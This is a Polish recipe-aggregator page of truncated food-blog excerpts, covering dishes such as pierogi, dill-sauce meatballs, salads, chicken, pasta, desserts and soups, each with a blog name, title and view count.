Pierogi układamy na wyłożonej papierem do pieczenia blaszce. Smarujemy rozkłóconym jajkiem. Pieczemy w 170 – 180 st. C. do zrumienienia (ok. 20 min). Podajemy na ciepło lub zimno z sosem np. czosnkowym

Domowy Smak Jedzenia
Klopsiki w sosie koperkowym 215

Pyszne klopsiki w sosie koperkowym.. 50 dkg mięsa mielonego 1 jajko cebula przyprawy [sól. pieprz, vegeta] mąka marchewka  cebula 1 kostka rosołowa listek, ziele śmietana koperek  Mięso wyrobić z jajkiem i przyprawami.Formować małe pulpeciki , obtaczać w mące i usmażyć na oliwie na rumiano.Wodę z kostką rosołową, marchewką i przyprawami zagotować, dodać usmażone pulpeciki i gotować

Moje domowe kucharzenie
Kiszone cytryny według przepisu Magdy Gessler 538

smaku i aromatu, że aż chce się jeść, jako dodatek do dań z ryb - np. ćwiartka podana na talerzu, do pieczonego mięsa, do marynowania mięs przed pieczeniem, do dipów, sosów i twarożków, do zup, do soków warzywnych. Skórka kiszonej cytryny jest delikatna w swojej strukturze, podobna do kandyzowanej. Można ją bez obaw zjeść. Niektórzy miąższ z kiszonych cytryn odrzucają, wykorzystując

Codzienna kuchnia niecodzienna
Chrupiąca sałatka z kalafiorem, jajkiem i koperkiem 1831

Osoby na diecie mogą majonez zamienić na jogurt naturalny (lecz niestety smak sałatki się nieco zmieni). Można również wymieszać majonez pół na pół z jogurtem lub podawać sałatkę z sosem czosnkowym ;) Wg przepisu poniżej 100g sałatki ma ok. 150kcal. Szybka sałatka z surowym kalafiorem – Składniki: średni kalafior (ok. 500g po rozdzieleniu na małe różyczki) 3 czubate łyżki majonezu

Kulinarne Przeboje
Przepis na… – tagliatelle, domowy makaron 422

fryzury córki papieża Aleksandra – Lukrecji Borgii, jaką miała podczas swojego ślubu z Alfonsem I d’Este. Tagliatelle z racji swojego kształtu idealnie komponuje się z gęstymi sosami wołowymi, wieprzowymi i cielęcymi, ale także tymi lżejszymi, bezmięsnymi. 4 jajka 0,5 kg mąki 1/2 szklanki wody sól Mąkę mieszamy z jajkami, dodajemy wodę i sól. Ilość wody należy ostrożnie

Bon Ton Italia
Kurczak pieczony na butelce piwa 168

oliwek sól, pieprz zioła prowansalskie Marynata do kurczaka: 7 łyżek oliwy z oliwek 5 ząbków czosnku 2 łyżeczki słodkiej papryki 1 łyżeczka soli 0,5 łyżeczki pieprzu 2 łyżki sosu sojowego Kurczaka myjemy i osuszamy. Przygotowujemy marynatę i dokładnie nacieramy nią kurczaka. Wkładamy go do pojemnika, zamykamy lub owijamy folią spożywczą i wkładamy na noc do lodówki. Następnego dnia kurczaka

Marder&Marder Manufacture
Kurczak po hawajsku 294

Jedliście kiedyś karmelizowaną cebulę? W tym daniu wyszła idealna. Upiekła się z miodem i ostrą czerwoną papryką. Z kurczaka powstał sos, który idealnie komponuje się z pieczonymi warzywami. 7 udek z kurczaka 1 cebula 1 czerwona papryka Pieprz młotkowany z kolendrą Cząber Zioła prowansalskie Glazura: 4 łyżki miodu 2 łyżki koncentratu pomidorowego 2 łyżki oliwy z oliwek 1 łyżeczka przyprawy

VioletoweKucharzenie
Kurczak tikka masala 211

Tuż przed ostatecznym przygotowaniem kurczaka wypłukać komosę w kilku wodach. Gotować komosę w podwójnej ilości wody do momentu jej odparowania. Po odparowaniu wody trzymać komosę pod przykryciem, by "doszła". Sos pół cebuli łyżka oleju 3 łyżki śmietany łyżeczka słodkiej papryki łyżeczka startego imbiru 4 łyżki przecieru pomidorowego (lub 3 łyżeczki koncentratu) Na patelni rozgrzać olej. Cebulę pokroić w drobną kostkę

Weekendy w domu i ogrodzie
Bez pradu czyli Mazury, czeresnie, poziomki i kielbasa 226

Nesbo, dzięki Ci Kozo Domowa !!! A jeśli macie dość kiełbasy z grilla ot tak położonej i upieczonej zachęcam do posmarowania jej prostą glazurą :) na 5 kiełbasek wystarczy: łyżeczka sosu barbecue (lub ketchupu) łyżeczka musztardy szczypta ostrej papryki łyżeczka miodu Wszystko mieszamy na gładka pastę. Kiedy kiełbaski są już prawie gotowe smarujemy je pastą z jednej strony, przypiekamy, smarujemy z drugiej

Dzieje kuchennej Wiewióry
Naleśniki z serem i truskawkami 182

wyobrażam sobie naleśników bez truskawek. Takie naleśniki świetnie sprawdzają się jako deser, obiad czy nawet kolację. Są idealne na każdą okazję. Jeżeli ktoś lubi można polać je sosem czekoladowym, jogurtem czy musem truskawkowym. Zapraszam!!! Składniki: 3 jajka, 3 łyżki cukru, 0,5 op.   cukru waniliowego, 0,5 l mleka, ¼ szkl. wody gazowanej, szczypta soli, 16 łyżek mąki, 1 łyżka

Passion of Cooking
Tagliatelle z kurczakiem, szpinakiem i pieczarkami 315

przez praskę czosnek. Doprawiamy jeszcze raz solą i pieprzem, dorzucamy serek i śmietanę oraz gałkę muszkatołową. Gotujemy przez 10 minut na małym ogniu. Ugotowany makaron odcedzamy i dorzucamy do sosu. Mieszamy i wykładamy na talerze. Smacznego

Moje Kuchenne Rewelacje
Zakręcona lasagne 249

takich nie macie to „suche” podgotować tak z 3 minutki 2 bakłażany kilka marchewek kilka gałązek selera naciowego szparagi generalnie każde długie warzywa liście jarmużu i/lub buraków sos beszamelowy: 2 łyżki mąki pół lita mleka roślinnego gałka muszkatołowa sok z połowy cytryny Przygotowanie: Warzywa obrać i ugotować w parowarze lub tradycyjnie. Bakłażany pokroić wzdłuż w plastry i podsmażyć

greenscarf
Grillowana jagnięcina oraz miętowe tzatziki z dodatkiem fety 225

posiekać. Dodać jogurt naturalny i pokruszoną fetę. Całość wymieszać i doprawić pieprzem. Nie ma potrzeby dodawania soli, bo feta jest wystarczająco słona. Jagnięcinę można skropić kremem balsamicznym. Podawać z sosem tzatziki i plackami ziemniaczanymi lub opiekanymi batatami. Smacznego

DefinicjaSmaku
Sałatka z pieczonym bakłażanem (a'la caprese) 347

tygodniu na Definicji Smaku będzie bardzo grillowo :) Pojawią się przepisy na marynaty do mięs, sałatki, sosy i całą masę grillowych pyszności. Na początek przepis na genialną i zarazem prostą sałatkę z pieczonym bakłażanem, która świetnie pasuje do potraw z grilla. Moi gości zajadali ją ze smakiem :) Aromatyczny bakłażan, świeże malinowe pomidory oraz wyrazista w smaku feta z odrobiną orzeźwiazjącej mięty

DefinicjaSmaku
Najlepsza marynata do karkówki z grilla 296

papryki ostrej 1 łyżeczka świeżozmielonego pieprzu 1 łyżeczka soli 1 łyżeczka suszonego oregano 1 łyżeczka suszonej bazylii 1 łyżeczka suszonego tymianku/majeranku 1 łyżka ostrej musztardy 3 łyżku ketchupu lub sosu barbecue masło czosnkowe pół kostki masła 2 ząbki czosnku 1 łyżeczka vegety/soli świeże zioła - oregano, bayzlia, tymianek, pietruszka ( wystarczy jedno) SPOSÓB PRZYGOTOWANIA Karkówkę dokładnie umyć i osuszyć. Pokroić w dość

DefinicjaSmaku
Makaron z pomidorami, cieciorką, czosnkiem niedźwiedzim i fetą. 214

niedźwiedzim, solą i pieprzem. 5. Na koniec dodać świeżą bazylię i parmezan. 6. Makaron ugotować al dente w lekko osolonej wodzie ( 12-13 minut). Odcedzić. 7. Makaron wymieszać z sosem i wyłożyć na talerz. 8. Posypać pokruszoną fetą oraz świeżą bazylią. Smacznego

DefinicjaSmaku
Sałatka z tuńczykiem i czerwoną fasolą 318

Bardzo prosta i bardzo smaczna sałatka z tuńczykiem w roli głównej. Świetna na kolację, czy lunch do pracy. Zawsze szybko znika ze stołu :)  SKŁADNIKI 1 puszka tuńczyka w sosie własnym 1 malutka puszka kukurydzy 1 malutka puszka czerwonej fasoli 1/2 czerwonej cebuli 3 jajka ugotowane na twarto 3 nieduże ogórki kiszone majonez sól pieprz SPOSÓB PRZYGOTOWANIA Wstawić wodę

DefinicjaSmaku
Drobiowe placuszki z pieczarkami i serem 376

bardzo mięsne :) Ponieważ mięso stanowi tutaj główny składnik, a pozostałe składniki tylko podkreślają jego smak. Na zimno świetnie smakują w kanapce z dużą ilością sałaty, pomidora i ulubionego sosu. Pycha! SKŁADNIKI ( około 10 sztuk) 1 podwójna pierś z kurczaka 200 g tartej mozarelli lub żółtego sera 10 dużych pieczarek 1 jajko 1 cebula 2 łyżki mąki ziemniaczanej natka pietruszki ( można

DefinicjaSmaku
Razowe spaghetti z kurczakiem i pesto orzechowym 353

Odstawić na kilka minut. Do blendera włożyć podprażone orzechy włoskie, czosnek, starty ser i kilka łyżek oliwy z oliwek. Zmiksować. Dodawać stopniowo oliwy, aż pesto będzie miąło konsystencję gęstego sosu. Doprawić solą i pieprzem. Cebulkę pokroić w piórka, czosnek w plasterki, a cukinię przy pomocy obieraczki do warzyw zetrzeć w cieniutkie paski pryzpominające wstążki. Na patelni rozgrzać oliwę z oliwek

DefinicjaSmaku
Zapiekanka z jaglanki i suszonych pomidorów 240

zawiera glutenu. A najbardziej lubię ją za neutralny smak, dzięki któremu można ją przyrządzać na słodko i na słono. Nadaje się w zasadzie do wszystkiego - zupy, zapiekanki, sosy, burgery, ciasta, kremy, pudingi, ciasteczka lub co tylko przyjdzie Wam do głowy :) Mi do głowy wpadł pomysł na niezwykle prostą, wegetariańską zapiekanę z użyciem suszonych pomidorów, papryki i mnóstwem świeżych ziół. Wyszła

DefinicjaSmaku
Śledzie curry z ananasem 231

octu ryżowego sól i pieprz do smaku SPOSÓB PRZYGOTOWANIA Śmietanę, majonez, musztardę, curry oraz ocet ryżowy mieszamy. Doprawiamy solą i pieprzem. Śledzie korimy w nieduże kawałki i wrzucamy do sosu. Ananasa odsączamy i kroimy w grubą kostkę, dodajemy do pozostałych składników. Wszystko dokładnie mieszamy, w miarę potrzeby doprawiamy jeszcze solą i pieprzem. Całość przekłądamy do słoika i odstawiamy na kilka

DefinicjaSmaku
Pieczony topinambur pachnący tymiankiem 284

stopni na ok. 30 minut, aż topinambury lekko się zarumienią, papryka przypiecze, a w całej kuchni będzie pachniało tymiankiem i czosnkiem :) Upieczone warzywa świetnie smakują same z ulubionym sosem lub jako dodatek do dania głównego. Smacznego

DefinicjaSmaku
Kanapka z jajkiem sadzonym i szynką 256

kanapka, która na pewno będzie miłym i sycącym początkiem dnia. Ciemne pieczywo, ulubiona szynka, pomidor, sałata i ono.... jajko z płynnym żółtkiem które spływa po kanapce i tworzy pyszny sos. Czy to może nie smakować? :) SKŁADNIKI (1 porcja) 2 kromki pełnoziarnistego/razowego/żytniego pieczywa 1 jajko 1 plasterek drobiowej szynki 1 plaster pomidora 2 plastry czerwonej cebuli kilka listków sałaty

DefinicjaSmaku
Sałatka z tuńczykiem, jajkami przepiórczymi i dressingiem z musztardy francuskiej 246

chociaż od czasu do czasu. Sałatka wydaję się banalna, ale jest naprawdę pyszna! Świetnie sprawdzi się jako lunch, albo lekka kolacja.  SKŁADNIKI (2 porcje) 1 puszka tuńczyka w sosie własnym 8-10 przepiórczych jajeczek 8-10 pomidórków koktajlowych malutka puszka kukurydzy (ok 1/2 szklanki) 2 garści ulubionych sałat (roszponka, rukola, rzymska, raddicho, itd.) 1 łyżeczka czarnuszki dressing 1 łyżka

DefinicjaSmaku
Odchudzona panna cotta z truskawkami i galaretką 306

Panna cotta to cudownie kremowy deser, któremu często towarzyszy pyszny słodki sos - owocowy, karmelowy, czekoladowy... jaki tylko zapragniemy :) Po prostu nie da się przejść obok tego deseru obojętnie :) Moja panna cotta też jest cudowna! A przy tym dużo lżejsza niż jej oryginalna wersja. Gwarantuje, że jej smak na pewno Was nie rozczaruje i będziecie często powaracać do tego przepisu

DefinicjaSmaku
Naleśnikowe sakiewki z prażonymi jabłkami 225

koniec dodajemy sok z cytryny i ewentualnie cukier do smaku. Na środku nalesnika kładziemy dużą łyżkę nadzienia, składamy boki do środka i przewiązujemy np. szczypiorkiem.  Podajemy z orzechami, sosem jogurtowym lub roztopioną czekoladą. Smacznego

DefinicjaSmaku
Szaszłyki z łososiem barbecue i ananasem 254

SKŁADNIKI (ok 6-8 szaszłyków) 400g filetu z łososia marynata 2 łyżki passaty pomidorowej 1 łyżka pikantnego ketchupu 2 łyżki powideł śliwkowych 2 łyżki octu ryżowego 1 łyżka sosu worchestershire 1 łyżeczka słodkiej wędzonej papryki 1 płaska łyżeczka kuminu 1 ząbek czosnku pieprz sól dodatkowo 1/4 świeżego ananasa 1 czerwona cebula patyczki do szaszłyków SPOSÓB PRZYGOTOWANIA Filet z łososia myjemy

DefinicjaSmaku
Warzywne samosy 195

Wykładać na ręcznik papierowy, by odsączyć samosy z tłuszczu.   Podawać ciepłe ze zdecydowanymi w smaku dipami lub chutneyami. Ja zaserwowałam je z konfiturą z czerwonej cebuli wymieszaną z sosem sambal oelek.oraz z chutneyem z dyni, jabłek i chili. I jeszcze zdjęcie pierożka, o którym pisałam we wstępie

Weekendy w domu i ogrodzie
Hot dog z grilla 338

sztuki: 8 białych kiełbasek - surowych 4 bułki pszenne  cebulka prażona 8 plasterków boczku cienko krojonego kawałek sera żółtego kapusta kiszona ewentualnie sałata dodatki : pomidorki koktajlowe, kawałek papryki sos do smarowania: miód, musztarda, odrobina przecieru z chilli Przygotowanie : Białe kiełbaski nacinam i ściągam z nich osłonkę, 2 plastry boczku przecinam na pół i układam obok siebie tak aby lekko

Mechanik grilluje
KURCZAK NA OSTRO W CHRUPIĄCEJ TEMPURZE 506

kuchnią tajską. Mięso w bardzo chrupiącej panierce jest idealne na każdą okazję! Świetne na rodzinny obiad – np. z frytkami i ulubioną surówką. Świetne na imprezę – ze słodkim sosem chili albo czosnkowym. Świetne na romantyczną kolację czy też na przekąskę przed tv. Robi się go niezwykle szybko ze składników, które najczęściej mamy w kuchennych szafkach. Gwarantuję, że jest

Ostra na Słodko
Pierogi z botwinką 253

dużym garnku, posolić, można dodać łyżkę oleju. Ostrożnie wrzucać na wrzątek po kilka pierogów (ilość zależy od wielkości garnka ) gotować parę minut od wypłynięcia. Podawać  z ostrym sosem jogurtowym. Smacznego

Stare Gary
Roladki ze szparagami i sosem szparagowym 191

garnku roztapiamy masło, dodajemy mąkę i rozprowadzamy. Wlewamy wywar ze szparagów cały czas mieszając. Doprawiamy do smaku sokiem z cytryny, gałką muszkatołową i białym pieprzem. Roladki podajemy polane sosem szparagowym i posypane startą skórką cytrynową

Pyry na Gaz
Ziemniaczki hasselback 463

przygotowania ziemniaczków potrzebne będą: ostry nóż i dwie pałeczki lub ołówki, garść ulubionych ziół np. tymianek i rozmaryn oraz tłuszcz - polecam gęsi smalec lub oliwę. Można je podawać z sosami np. z chrzanowym lub tzatziki, wszelkiego rodzaju pastami ( pasta z bakłażana  ) lub jako dodatek do innych potraw. Składniki: 4 ziemniaki, 3 łyżki smalcu gęsiego lub oliwy, gałązki świeżego tymianku

SzczyptaSmaQ
Festiwal Dobrego Smaku w Łodzi : Konferencja + Warsztaty 232

Działkowy Rarytas Prosto z Ogródka 25. Zbożowa / Roosvelta 7 / Czarne Na Czerwonym Jedzie Po Zielonym Poza konkursem: Restauracja Four Colors / Hotel DoubleTree by Hilton / Łąkowa 29 Gallette ziemniaczane z sosem kurkowym, plastrem rostbefu i lodami z kwaśnej śmietany. KAWIARNIE 26. All Star Klubokawiarnia / Piotrkowska 217 / Sobota Godzina 10 27. Awangarda / MS2 / Manufaktura / Powolna Pogoń Za Smakiem 28. Cafe Bar Poczekalnia

Moja pasja smaku
Ciasto Czekoladowe bez Nabiału 1418

Śmietanę wlewamy do garnka. Stawiamy na palniku i doprowadzamy prawie do wrzenia. Zdejmujemy z palinka, wrzucamy połamaną czekoladę. Odstawiamy na 2 minuty, po czym mieszamy całość do powstania gęstego sosu. Odstawiamy na około 15 minut. Następnie polewamy nią ciasto. * śmietanki kokosowej używamy w zastępstwie śmietanki kremówki, by ciasto było w całości bez nabiału Źródło: Sweet Little Bluebird The post Ciasto

Made By Mom And Son
DROBIOWA WĄTRÓBKA NA KOŁDERCE Z MŁODEJ CUKINII 233

gustu. Kołderka z cukinii, na której podałam wątróbkę fajnie komponowała się z podsmażonymi podrobami. Na blogu jest już przepis na  gulasz z wątróbki drobiowej ,  wątróbkę w sosie pomidorowym ,  wątróbkę z cebulą - tradycyjnie ,  wątróbkę z kolorową papryką  - jest w czym wybierać :))) Składniki: 700g wątróbki drobiowej 2 młode cukinie kilka pieczarek 2 młode pory 2 młode marchewki

Walijskie Pichcenie
Pomysły na desery lodowe 230

reklamy w telewizji wpadły mi w oko lody Big Milk Yogurt o dwóch smakach Strawberry – jogurtowe lody z dodatkiem musu truskawkowego, oraz Big Milk Yogurt Caramel ze słodkim sosem karmelowym, ważna też była informacja, że jedna porcja lodów to tylko 110 kcal!!! Aby się przekonać jak smakują te lody pobiegłam do sklepu i kupiłam oba smaki. W sklepach

Damsko-męskie spojrzenie na kuchnię
Greckie placuszki z pora i szpinaku 222

Dziś mam dla Was przepis na greckie placuszki Spanakokeftethes , przygotowywane ze szpinaku i białej części porów. Takie warzywne placuszki to świetna wegetariańska propozycja obiadowa lub oryginalna przekąska podana z sosem jogurtowym.  Greckie placki z pora i szpinaku Spanakokeftethes na podstawie tego przepisu Składniki: 700 g świeżego szpinaku 2 pory, same białe części, drobno pokrojone 5 cebulek dymek, drobno posiekanych

Chilli Czosnek i Oliwa
Szafranowe risotto z bobem, groszkiem i szynką 287

długoziarnisty nie nadaje się - nie będzie się sklejał. Ryżu na risotto nie płuczemy przed gotowaniem, żeby nie zmyć z jego powierzchni skrobi - jest ona potrzebna do zagęszczenia sosu. Risotto trzeba co chwilę mieszać i stopniowo dolewać wino, a potem gor ą cy bulion. Kolejną porcję płynu dodajemy, gdy poprzednia zostanie wchłonięta przez ryż. Groszek cukrowy i bób do przygotowywania naszego

W SMAK
Sałatka z bobem i suszonymi pomidorami 266

przelewamy zimną wodą. Obieramy ze skórki. Cebulę kroimy w małą kostkę - podobnie pomidory. Dodajemy do bobu. Oliwę mieszamy z sokiem z cytryny i czosnkiem przeciśniętym przez praskę. Doprawiamy powstały sos solą i pieprzem i polewamy sałatkę. Mieszamy i gotowe :) Smacznego! źródło inspiracji

Moje Kuchenne Rewelacje
Dlaczego mięsa nie lubię... 305

zakładach przetwórstwa); mięso jest nawadniane nawet wtedy, gdy jest przeznaczone do sprzedaży bezpośredniej (znacie to - wkładacie do piekarnika dorodnego kurczaka, a on się jakoś kurczy i pływa we własnym sosie? - to nie jest naturalne). Tak więc nawet jeśli robisz wędliny w domu i tak nie jesz prawdziwego mięsa... :( zwierzęta jedzą paszę, która też naturalna nie jest, rośliny są nawożone

pyszne zdrowości
Spaghetti carbonara 242

naczyniu mieszamy ze sobą śmietankę, żółtka, ser, sól i pieprz. Do cebuli dodajemy podsmażony boczek, wlewamy przygotowaną śmietankę, zmniejszamy ogień, gotujemy chwilę aż zgęstnieje. 4. Do przygotowanego sosu dodajemy makaron, dokładnie mieszamy. Przed podaniem posypujemy serem i dekorujemy listkami bazylii

Szefowa kuchni
Kluski kładzione z kaszy mannej - na słodko i wytrawnie 146

wrzątek (nabierać troszkę ciasta, zanużyć we wrzątku i delikatnie zsunąć ciasto, nie mieszać bo kluseczki się porozwalają). 5. Gotować ok 30 sek od wypłynięcia. Od razu podawać polane ulubionym sosem lub np. jogurtem. Pysznie smakują również później odsmażone

Kto ugości moich gości?
Ziemniaczane gołąbki 217

zalewamy gorącym rosołem i wstawiamy do piekarnika nagrzanego do temperatury 180 st. C na 30 minut. Wyłączamy piekarnik i naczynie pozostawiamy jeszcze na 10-15 minut. Najlepiej smakują z sosem grzybowym lub pomidorowym. Smacznego

Maminek kulinarny
Tarta rabarbarowa z sosem jogurtowym 167

miejsce przy miejscu nakłuwamy widelcem i wstawiamy na 20 minut do piekarnika nagrzanego do 180 stopni. Po tym czasie wyjmujemy i studzimy. Na podpieczonym spodzie układamy kawałki rabarbaru. Polewamy sosem i pieczemy około 40 minut w 180 stopniach. Po przestygnięciu posypujemy cukrem pudrem.  My jednak taką tartę jemy jeszcze lekko ciepłą, gdyż taka jest najsmaczniejsza :) Smacznego! --------------------------------------------------------------------- Chcesz dostawać nasze

Marder&Marder Manufacture
Dorsz z cukinią w kokosowym sosie 215

Dorsz przygotowany na indyjską nutę, a żeby danie było bardziej pożywne dołożyłam pokrojoną w grubą kostę cukinię. Przyprawy i sos dokładnie jak z dania tutaj, które nam wyjątkowo smakowało. Skoro imbir, czosnek i mleko kokosowe sprawdziło się z delikatnym mięsem piersi z kurczaka, spróbowałam z dorszem. Jest wyśmienity, polecam! Prosto i dietetycznie. Składniki: 400-500 g filetu z dorsza

Gotuj zdrowo!Guten Appetit!
Kurczak w sosie chrzanowym z pieczonymi ziemniakami i kalafiorem 1115

Kurczak w wyrazistym sosie chrzanowym z dodatkiem pieczarek. Doskonale smakuje z pieczonymi młodymi ziemniaczkami i kalafiorem. Syty i bardzo prosty obiad! 600 g filetu z kurczaka 1 łyżka mąki pszennej 1 łyżeczka przyprawy do gyrosa Skworcu  (tu kupisz) 1 łyżka przyprawy do kurczaka po lubelsku RAFEX (tu kupisz) 200 g pieczarek 3 łyżki śmietany 18% 1 łyżka chrzanu

VioletoweKucharzenie
LUNCH BOX- tortille z łososiem i sałatka ryżowa z tuńczykiem 370

posiekanej cebuli 3 łyżki jogurtu naturalnego z czosnkiem niedźwiedzim PRZYGOTOWANIE: Tortille rozłożyć. Każdą wysmarować jogurtem i nakładać składniki w dowodnej kolejności :) SKŁADNIKI: 2 woreczki ryżu 2 puszki tuńczyka w sosie własnym 1 średnia cebula sól i pieprz do smaku PRZYGOTOWANIE: Ryż ugotować według zaleceń producenta. Zostawić aż do całkowitego wystygnięcia. Przełożyć do miski, dodać tuńczyka (odsączonego), posiekana cebulę. Doprawić

ClauditteMissCooking
Ośmiornica po włosku! 348

przykryciem - po tym czasie dodajemy pomidory z puszki, dusimy kolejne 10 minut bez pokrywki - dodajemy świeże zioła, dusimy około 3-4 minut. - jeśli lubicie bardzo gęste dania to możecie sos zagęścić łyżką mąki (ale uważam to totalnie za zbędne!) Ośmiornica po tym czasie będzie mięciutka i rozpływająca się w ustach.  Życzę Wam smacznego! I zachęcam do podróży kulinarnych

SMYKWKUCHNI
Sałatka z kaczką, wędzonym tofu i sosem hoisin 164

sałatek zawsze przemycam bogactwo różnych smaków i składników odżywczych. Bazą tej sałatki jest mięso z piersi kaczki i wędzone tofu. Do tego szeroka gama warzyw, orzechy i pyszne azjatyckie sosu - hoisin i słodki chilli. Pycha

Milion Smaków
Zapiekanka makaronowa z kurczakiem i szpinakiem. 223

smażyliśmy mięso, usmażyć bardzo krótko umyty i osuszony szpinak. Układamy go na warstwie kurczaka. W kubeczku wymieszać śmietanę z przeciśniętym przez praskę czosnkiem,jajkami, cząbrem, solą i pieprzem. Polać sosem zapiekankę . Posypać parmezanem i piec w piekarniku nagrzanym do 180 stopni C. zapiekanka makaronowa z kurczakiem i szpinakiem

O kuchni z uczuciem
Roladki z fileta z kurczaka w panierce z płatków kukurydzianych. 233

kukurydziane rozgniatamy, obtaczamy w nich roladki i układamy na blachę wyłożoną papierem do pieczenia. Wkładamy do nagrzanego do 180 stopni piekarnika na około 20 minut. Roladki możemy podać z sosem czosnkowym lub jogurtem. Smacznego

Symfonia smakowa
Pielmieni - rosyjskie pierogi 160

się pielmieni, rosyjskie pierogi. Na początek zamówiłem ukraińskie piwo. Od razu do piwa dostałem paluszki, a chwilę później dwa kawałki ciemnego chleba i grubo krojony ząbek czosnku. I jakiś sos do maczania chleba chyba. Chleb z czosnkiem był tak pyszny, że od razu pochłonąłem. Dostałem więc kolejne dwa kawałki chleba. Wszystko w cenie jednego piwa.   Jak popiłem

Marder&Marder Manufacture
Sałatka ze szpinakiem i grecki ser owczy 199

sałatek. SKŁADNIKI: 50 g sera kefalotyri lub innego sera owczego, może być też ser kozi 250 g szpinaku 1 duża cebula 1 duży pomidor 1 garść suszonych czarnych oliwek sos: oliwa, ocet jabłkowy i miód PRZYGOTOWANIE: Ser owczy pokroić w kostkę. Cebule pokroić w piórka lub pół krążki. Pomidora pokroić w kostkę. Szpinak umyć. Sery owcze i ich właściwości: Sery

ClauditteMissCooking
Rolada z indyka z wątróbką i jajkiem z puree z bobu z sezamem. 259

piekarnika pod przykryciem na 60 minut w temperaturze 180 stopni w funkcji góra - dół. Po tym czasie ściągamy pokrywę i podlewając co jakiś czas mięso z góry wytworzonym sosem trzymamy jeszcze około 30 minut w piekarniku. Puree z bobu: -1kg bobu ugotowanego w osolonej wodzie, obranego z łupin -1/4 szklanki bulionu -sezam uprażony około 2 łyżek -łyżka masła

BaRepas
Bataty faszerowane 431

czasie przygotowujemy farsz. Ser rozkruszamy. Dodajemy do niego drobno pokrojone pomidory suszone, porwaną na małe części szynkę parmeńską oraz posiekaną rukolę (lub szpinak). Przygotowujemy sos: jogurt blendujemy z wyciśniętym ząbkiem czosnku oraz liśćmi kolendry. Przyprawiamy szczyptą soli i pieprzu. Gdy bataty się upieką wydrążamy łyżką miąższ ze środka (zostawiając trochę na brzegach). Rozgniatamy go lekko widelcem. Dodajemy miąższ do farszu

Poezja smaku
Sałatka gyros (warstwowa) 2715

szybka do przygotowania. Ładnie się prezentuje i świetnie smakuje. Na pewno każdy z Was jadł taką sałatkę - niektórzy nie łączą ketchupu i majonezu, a jeszcze inny łączą poszczególne warstwy sosem czosnkowym. Poniżej prezentuje Wam moją wariację na temat sałatki gyros. Składniki: 1/2 kapusty pekińskiej (0,5 kg) 3 pojedyncze piersi z kurczaka (niecały kilogram)  3 czerwone cebule 3/4 słoika

Ugotować
Tortellini z kurczakiem i pieczarkami 231

Tortellini to małe pierożki z różnym rodzajem nadzienia. Ja miałam z farszem serowym. Podałam je z sosem śmietanowym , pieczarkami i kurczakiem. Składniki: 250 g tortellini z nadzieniem serowym 250 ml śmietany 18% 1 podwójna pierś z kurczaka 250 g pieczarek 3 szklanki bulionu mięsnego 2 łyżki masła klarowanego 2 łyżki posiekanej natki pietruszki 1 cebula 2 łyżki startego  parmezanu

O kuchni z uczuciem
Kebab na talerzu z młodymi ziemniaczkami z piekarnika 244

kontrolując poprzez nakłucie patyczkiem bądź nożem, czy nie są już miękkie.  W zależności od gatunku użytych ziemniaków czas pieczenia może być nieco inny. Dodatkowo:   koperek, ulubiona surówka, sos czosnkowy

Kuchenne aromaty
Burger ziemniaczany z komosą ryżową 165

pieprz, kurkumę, koperek, odrobinę oliwy i mąki ziemniaczaną i kukurydzianą (dosypujemy stopniowo, aż ciasto nie będzie bardzo mokre). 7. Formujemy burgery i smażymy na patelni. 8. Podgrzewamy bułkę, dodajemy sosy wedle upodobania, dodajemy sałatę i rukolę do smaku oraz upieczone wcześniej cukinię i cebulę - no i oczywiście dodajemy naszego burgerka. 9. Zajadamy się ze smakiem i z wielkim bananowym uśmiechem

Bananowe Pole
SAŁATKA Z ROSZPONKI, POMIDORÓW, SZYNKI PARMEŃSKIEJ I SERA HALLOUMI – idealna na śniadanie! 219

sałatka na śniadanie zamiast ukochanego musli?! Czemu nie?! Dziś mam dla Was przepis na tę ulubioną! Świeżutka , chrupiąca roszponka , aromatyczna szynka parmeńska , soczyste pomidorki, serek halloumi i pyszny, kremowy sos balsamiczny. Niezwykle szybkie i obłędnie pyszne połączenie! Idealnym dodatkiem jest szklanka soku pomarańczowego, która nie tylko doda energii, ale też zaspokoi jedną z 5 porcji warzyw i owoców, którą powinniśmy

Ostra na Słodko
Golonka w glazurze z miodu lipowego i pestek dyni, piana jogurtowa z chrzanem i puder z kwiatów lipy. Natura Kuchni Polskiej. 169

najprostsza w przygotowaniu będzie piana jogurtowa z chrzanem, w moim przypadku efekt nie był zadowalający i piana ubita blenderem (nie bamiksem) dość szybko kończyła żywot zmieniając się w sos jagurtowo-chrzanowy. Nie wiem, czy to z powodu braku urządzenia czy z winy składników. Trochę poeksperymentuję z tą pianą i może w kolejnych przepisach będzie już prawdziwą pianą :) .   Golonki przygotowałam

SzczyptaSmaQ
Pyszna sałatka z rukolą i buraczkami 186

przygotowania tej zdrowej sałatki potrzebne są: Rukola tarte buraczki  wędzony twaróg  pomidor koktajlowy czerwona papryka kapary jajko oliwa z oliwek waniliowy sos balsamiczny sól  pieprz

Jemy Pijemy
Gravlax 200

bardziej cierpliwych zostaje opcja 36 godzin. Po upływie tego czasu łososia wyjąć z marynaty, opłukać i osuszyć papierowym ręcznikiem. Przed podaniem pociąć na cienkie plastry. Można podawać z sosem miodowo-koperkowym, śmietaną, cytryną, bądź jak carpaccio na rukoli z kaparami, oliwą z oliwek i parmezanem.  Mam nadzieję, że polubicie taką przystawkę tak samo

Jemy Pijemy
Curry z dyni 215

koniec wlać delikatnie jogurt cały czas mieszając aby nam się nie zsiadł. W tym czasie nasza dynia powinna juz być upieczona, więc należy ją dodać do reszty sosu. Zamieszać , pozwolić przejść się smakom i gotowe. Podawać z ryżem bądź chlebkami naan.  Smacznego

Jemy Pijemy
Zupa grzybowa Mushroom soup 205

selera natka pietruszki 2 garści suszonych leśnych grzybów 3 suszone chińskie grzyby szmaciaki ( w Polsce pod ochroną) 2 ząbki czosnku 2 liście laurowe woda ok 3l sól  pieprz sos sojowy 2 łyżki masła Warzywa zetrzeć na grubej tarce. Por pokroić w plastry. Liście selera drobno posiekać. Wrzucić do wody i gotować z liściem laurowym. Następnie wrzucić suszone grzyby

Jemy Pijemy
Botwinka, moja ulubiona wiosenna zupka 207

listki laurowe kilka kulek ziela angielskiego pęczek włoszczyzny 2 pęczki botwiny z buraczkami 4-5 młodych ziemniaków 1/2 pęczka koperku 1/2 pęczka natki pietruszki 4 ząbki czosnku sól pieprz sos sojowy ( zamiast magi) woda oczywiście :) łyżeczka brązowego cukru, ale może też być biały  śmietana do zupy jak ktoś lubi ( ja ewentualnie dodaję ją już na talerzu, zwykle

Jemy Pijemy
Krewetki gambasy na maśle i czosnku 189

